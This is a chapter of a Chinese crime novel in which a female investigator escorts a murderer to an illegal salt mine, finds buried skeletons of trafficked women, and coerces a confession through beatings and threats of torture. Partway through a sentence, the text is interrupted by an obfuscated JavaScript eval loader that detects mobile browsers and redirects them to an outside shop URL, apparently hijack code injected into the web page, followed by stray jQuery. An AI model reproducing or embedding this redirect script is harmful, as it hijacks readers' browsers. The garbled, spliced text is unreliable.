林清如只漠然地看着他,随后叫来了两个捕快,一行人押着他前去远郊北山指认现场。
离开之前,她让沈知乐将锦霜的尸身归还唐玉昭。不过几日不见,唐玉昭已然形容枯槁。
当听到锦霜是从他挖的洞口被凶手带走的消息时,他并没有嚎啕大哭。他那双通红凹陷的眼眸似乎已经流不下一滴眼泪,只木然地抱着锦霜的尸身,朝家的方向走去。
北山之下,有河流汇入洛淮河中。连日阴雨,北山之路泥泞难行。
方朝手脚皆束缚着粗厚的镣铐,湿软的泥土随着步伐的前进,一步一步裹挟在镣铐之上,显得愈发沉重。
他显得十分吃力的模样,脚腕被厚重的镣铐和泥土勒出了隐约的血痕。在行至山脚时,他眼中闪过不耐的狠戾之色,脚步停留,索性一屁股坐在地上,停滞不前。
他冷笑一声,“反正我也是罪无可赦难逃一死。大人定了我的罪便是。我可不受这等折磨。”
“折磨?”林清如语气中有冰冷的意味,居高临下地看着他,突然莫名问了一句,“脚下的镣铐很重吗?”
她话中的冰冷意味,让方朝知道那绝非关心。
他用莫名其妙的眼神,看了林清如一眼。
林清如神色中带着冷漠的锋利,一字一顿地质问于他,“重得过那日你将锦霜带至山中,身上背负的人命吗?”
方朝仿佛像是听了个笑话,掀起眼皮轻蔑地看了她一眼,嗤地一笑。
他漫不经心的样子让林清如冷峻的神色愈发冰冷。
他给同行的捕快使了个眼色,二人自然心领神会。也不多言,对着坐倒在地的方朝便是一阵疾风暴雨般的拳打脚踢。
石头一般坚硬的拳头砸在方朝的皮肉之上,发出一声声沉闷的钝响,又很快被方朝的哀嚎掩盖而过。
林清如神情依旧冷厉,平静地看着他,一字一句地说道:
“你难逃一死是不假。可在你死之前,我也可以有很多办法,让你生不如死。”
方朝呸了一声,从嘴中吐出一口血沫,恶狠狠地盯着她,讥讽道:
“看你一副义正言辞的模样,不也是滥用私刑之辈?”
林清如闻言,只是冷笑地看着他,
“那又如何?”
对付方朝之流,也并非不可以。
一番拳脚相加之后,方朝老实了许多。也不再多言,只垂着头不知在想写什么,一步一步挪动着,朝山上走去。
北山并不高,却有着连绵起伏的山脉。山上树木稀少,乱石丛生。
远远可见山腰有多处矿洞,一旁有小屋数间,平台一方。前有高大牌坊一座,其上匾额一扇。即使隔得很远,也隐约能看见那匾额上书着龙飞凤舞的三个大字,“盐课司。”
林清如知道,那是官盐开采之地。
鼻青脸肿的方朝带着她们走过几条荆棘横生的小路,在穿越一处幽深狭窄的天然溶洞之后,几人眼前豁然开朗,已然行至山体背面。
此处上上下下,人工开凿的矿洞不下数十个,杂乱地嵌在山体之中。脚下已无什么泥土痕迹,唯有大小不一的白色晶体碎粒。
是还未曾加工过的盐。
林清如不由得震惊地皱起眉头,“盐课司眼皮底下,竟也有这么多私盐矿洞?你们就不怕被发现?”
方朝闻言,只是抬起眼皮看了她一眼,焉地冷笑一声,十分轻蔑的模样。
镣铐的声音哗哗作响,带着地上的小石子和盐粒翻滚飞舞。一行人随着方朝走近一处狭窄矮小的矿洞。
捕快点燃石壁上的油灯,窜起幽微的灯火,将几人的影子长长地照映在矿洞之上。
借着跳动不安的火光,林清如这才发现这矿洞四通八达,似与其他矿洞相连,密密麻麻的盐井遍布矿洞之中,其上杂乱地摆放着各种工具。
这看起来似乎是一个已经废弃的矿洞。
幽深矿洞无端传来咸湿的寒凉气息,凸起的岩石有滴答而下的水流渗入其中,在空旷之中传来清脆的回响。
方朝带着镣铐的手指着一处盐井,面无表情地说道:“我把她丢这里面了。”
林清如顺着他手指的方向看去,盐井其间幽深黑暗如同深渊巨瞳,似乎有将人吞噬的危险意味。
她忽而听得有暗流涌动的哗哗之声,却并不十分真切,于是只皱着眉头寻找那声音来源。
方朝冷笑看她,“大人别找了。是洛淮河的地下暗河。若非前些日子阴雨不断,暗河涌动,又怎么会冲破了这盐井,带得锦霜的尸体流入河中。”
林清如却在他话音落下之后,在目光所及之处,骤然发现一处被碎石掩埋之地,其下隐约可见一只化为白骨的手。
白骨?
林清如心下一凛,快步上前查看,果真发现一具白骨被压在碎石之下,铺满盐霜的地面混着砂石泥土,隐约可见手指抓挠的痕迹。那是怎样的挣扎?
林清如眉心紧紧拧起,锦霜竟不是他害死的第一个人?难怪那般视若草芥,难怪那般胸有成竹自以为滴水不漏。竟已是惯犯!
她皱着眉头轻轻翻动石块。
然而更令她触目惊心的是,在这些石块重压之下,竟远远不止这一具白骨!
那些森然的白骨之色在石缝中闪着诡异的光,一具具骷髅永远压在这暗无天日的碎石之中。
她陡然凌厉的眼神看向方朝,如刀锋一般刮过他毫不在乎的脸。
他对视上林清如的双眸,脸上有满不在意的笑,“大人可别看我,这可不是我弄的。”
他神态自若地看着那些森森白骨,“是她们自己反应慢,矿洞塌了也不知道跑快点。大人可别赖在我身上。”
这般轻飘飘的一句话,将自己瞥了个一干二净。仿佛埋在碎石之中的,不是数条人命,而是无人在意的草芥。
林清如不去论他话中真假,也不想辨他话中是否有诡辩之意,只怒目而视,
“若非你们随意开凿矿洞,将北山内里凿至空壳一般,矿洞何至于塌?她们何至于此?”
方朝嗤了一声,“大人,这官府也采盐,我们也采盐,空壳也非我一人遭成。”
他话中似有意味深长之意,“说到底,我们这些人,不过是捞口官府剩下的汤喝罢了。”
林清如强自压下心中怒火,冷声问道:“这么说来,这些私盐矿,都是你之所有?”
方朝斜睨了她一眼,冷冷一笑,“大人还真瞧得起我。”
“若非你一人之矿,为何我未曾看到旁人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659727|138250||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
踪迹?矿中工人呢?”
林清如想起那些被孙荣卖至私盐矿上的女子。如今此处却悄悄如也,安静得只能听到流水滴答之声。
那些曾经以各种方式被卖来的女子,是否已经悄无声息地化成了一具白骨,长眠于这永无天日之地。
方朝轻蔑的瞥着她,“原以为大人是个聪明人,不想也如此蠢钝。”他哼了一声,“大人将我抓去,您说他们会不会收到风声?”
风声?不过一晚上的功夫,这些人是何处得到的消息,竟这么快便被打草惊蛇了?
林清如眉心紧紧拧住,山后这么大规模的私盐开采,嚣张至此,盐课司难道不曾发觉?又或者根本就是盐课司睁一只眼闭一只眼,只当不知?
若说其中无人纵容,只怕难以令人置信。
见林清如沉思,方朝眼珠子忽而一转,突然说道:“大人,您一定觉得很蹊跷吧。”
他脸上有一闪而过的得意之笑,“不如咱们做个交易吧。”
林清如转头凝视于他,看他想要说这些什么。
他眼睛微微闪动,“您若肯保我一条命,或许我可以告诉你更多的事情。”
“这些消息,足以让大人立得大功一件。”他微微舔了舔嘴唇,神色中有隐秘的快意,“换我一条命,很值。”
原以为他早已放弃了挣扎,不想竟在这里还打着这样的主意。难怪即使抓了他的现行,他也不曾激烈反抗,反倒是不慌不忙,如此胸有成竹。
林清如冷眸看他,“你以为你有跟我讲条件的资格吗?”
方朝见她不愿,只耸肩冷笑,故作吊她的胃口,“那我,可就什么也不知道了。”
林清如神色冰冷,“你既让我知道,你手握其他消息。你以为我会如此轻易放过你?”
她看着方朝脸上微露出的狡猾神色,只用平静的语气说道:
“反正都是一死,是不受皮肉之苦的如实招来,还是受尽酷刑生不如死,你自己选。”
她神色平淡,面上无波无澜。方朝却在这冷淡的话中听出了充满杀气的威胁之意。
“你威胁我?”
“不是威胁,是交易。”林清如以同样的话回他,她冷漠的看着他被束缚起来的手脚,“你若肯吐出背后之人,我或许能让你死得体面一些。”
方朝满不在乎的自信神色出现隐约的破碎,他仍强撑着脸上那点轻蔑的笑意,“大人,你不是这种人。”
面前的女子,一看那张倔强冷清的脸,便知是坚持原则得近乎执拗的人。
可林清如以嘲讽轻笑回以他,“我也可以是。”
她也曾厌恶屈打成招,也曾想要好好办案。可在经历拐卖一案的波折之后,她蓦然发现,自己从前所坚持执着的那些原则与道理,并不能对付其阴险毒辣的手段。
她的对手,并不会像她这般执着与倔强。
既然默守陈规不能对付其万一,那么便换一种手段。
尤其是对于方朝这种从不悔过的恶人。
方朝看着林清如冷厉的双眸,终究是在这样的对峙中败下阵来。他以为能换做条件的筹码,实则只是不痛不痒的要挟。他低估了林清如。
在沉默良久后,他终于艰难地开口道:“好,我说。”